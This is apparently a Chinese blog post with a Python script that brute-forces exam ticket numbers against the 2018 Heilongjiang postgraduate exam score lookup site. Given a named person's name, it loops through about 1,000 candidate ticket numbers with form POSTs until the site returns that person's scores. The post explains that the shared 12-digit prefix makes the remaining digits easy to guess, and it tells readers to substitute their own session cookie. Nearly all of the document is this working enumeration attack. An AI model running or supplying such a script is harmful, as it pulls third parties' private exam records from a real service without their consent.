需要知道的信息:1、某人的真实姓名 2、他的准考证号除后三位外的所有位(前12位) 3、测试报考哈工大的学生通过
这里详细解释一下,一般而言,考一个科目的所有人前12位都是相同的,最后三位因人而异。例如考计算机854的所有成员为102138040001***,因此可以穷举102138040001000-102138040002000之间的1000位数字
cookies要改成自己的(红字提示位置)
包括姓名,考号的范围(红字位置)
运行结果图,成功找到时会报错退出程序。最后返回的列表即为所有成绩
import requests import re import time def search(name,number): headers={"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding":"gzip, deflate", "Accept-Language":"zh-CN,zh;q=0.8", "Cache-Control":"max-age=0", "Connection":"keep-alive", "Content-Length":"264", "Content-Type":"application/x-www-form-urlencoded", "Cookie":"*************************", "Host":"221.207.246.181:8006", "Origin":"http://221.207.246.181:8006", "Referer":"http://221.207.246.181:8006/JWWebCXZX//toCheckClassScore?exam_type_id=85", "Upgrade-Insecure-Requests":"1", "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"} data={"exam_type_id":"85", "examType.exam_type_desc":"2018年黑龙江省硕士研究生考试初试成绩", "classScore.id.ksh":number, "classScore.xm":name} url="http://221.207.246.181:8006/JWWebCXZX/checkClassScore.action" content=requests.post(url,data=data,headers=headers) #print(content.content.decode("utf-8")) return str(content.content.decode("utf-8")) def check(s): n=len(re.findall(r"没有查到信息",s)) if n ==0 : print(re.findall(r"\d{2,3}\.0", s)) raise FileExistsError
return True else: return False name="查询的姓名" for number in range(102138050001000,102138050002000): time.sleep(0.1) s=search(name=name,number=number) print(number) check(s)